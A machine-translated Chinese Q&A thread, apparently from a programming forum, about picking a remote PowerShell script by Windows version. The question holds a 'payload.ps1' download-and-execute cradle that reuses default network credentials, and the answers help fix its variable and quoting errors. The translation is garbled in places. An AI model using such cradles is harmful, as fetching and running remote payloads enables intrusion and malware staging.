尝试使用Get-WmiObject来决定要调用的脚本

Question

(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex" 

获取Wmi对象Win32操作系统默认网络凭据

$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
    if ($host -eq 'Microsoft Windows 7'){

    Write-Host "[+] Downloading windows 7 script"

        $URL = http://example.com
        IEX (New-Object Net.WebClient).DownloadString('$URL')}

elseif ($host -eq 'Microsoft Windows 8'){

        Write-Host "[+] Downloading windows 8 script"

等等...

Answer 1

这发生在$host是automatic variable。我的系统上的分配失败：

$host = ((Get-WmiObject Win32_OperatingSystem).Caption)
Cannot overwrite variable Host because it is read-only or constant.
At line:1 char:1
+ $host = ((Get-WmiObject Win32_OperatingSystem).Caption)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (Host:String) [], SessionStateUnauthorizedAccessException
    + FullyQualifiedErrorId : VariableNotWritable

尝试使用另一个变量名称，例如$myHost。

Answer 2

从提供的代码中，在IEX命令中，将双引号添加到环绕声，因为Invoke-Expression的Command参数接受字符串，并将单引号添加到环绕$ URL。

    $URL = "http://example.com"
    IEX "(New-Object Net.WebClient).DownloadString('$URL')"

另外，运行Net.WebClient时不需要Invoke-Expression，您可以简化如下。

     $URL = "http://example.com"
    (New-Object Net.WebClient).DownloadString($URL)